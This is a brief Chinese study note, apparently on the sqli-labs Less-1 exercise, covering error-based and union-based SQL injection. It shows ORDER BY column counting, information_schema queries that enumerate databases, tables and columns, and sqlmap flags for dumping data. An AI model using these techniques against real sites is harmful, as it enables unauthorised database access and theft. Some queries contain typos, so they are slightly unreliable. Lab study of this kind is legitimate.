Less1

基于报错的sql注入

  • 字符型注入
  • 数字型
  • 括号型
    推测sql语句
  select username, password from table where id = 1  limit 0,1;

**union ** 联合查询的方法,主要利用mysql的 information_schema 数据库记录的关于整个数据库的信息.

查询数据库信息
1利用 order by 判断字段数字
order by [num]
2.联合查询
聚合函数
user()
version()
database()

select database()
select group_concat(schema_name) from information_schema.schemata;
查询表名(表名字用十六进制编码)
select table_name form informarion_schema.tables where table_schema=database();
table_schema 数据库的名字
table_name 表名字
查询列名信息
select group_concat(column_name) from information_schema.columns where table_name=(表名的十六进制编码)

image

sqlmap使用

-u 指定 url
--dbs
--batch
-D <databseName>
--tables
-T
--columns
-C
--dump

基于时间进行盲注

image

ppt错误:length() 前面不需要加 select,因为 length() 要放入sql语句中.

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容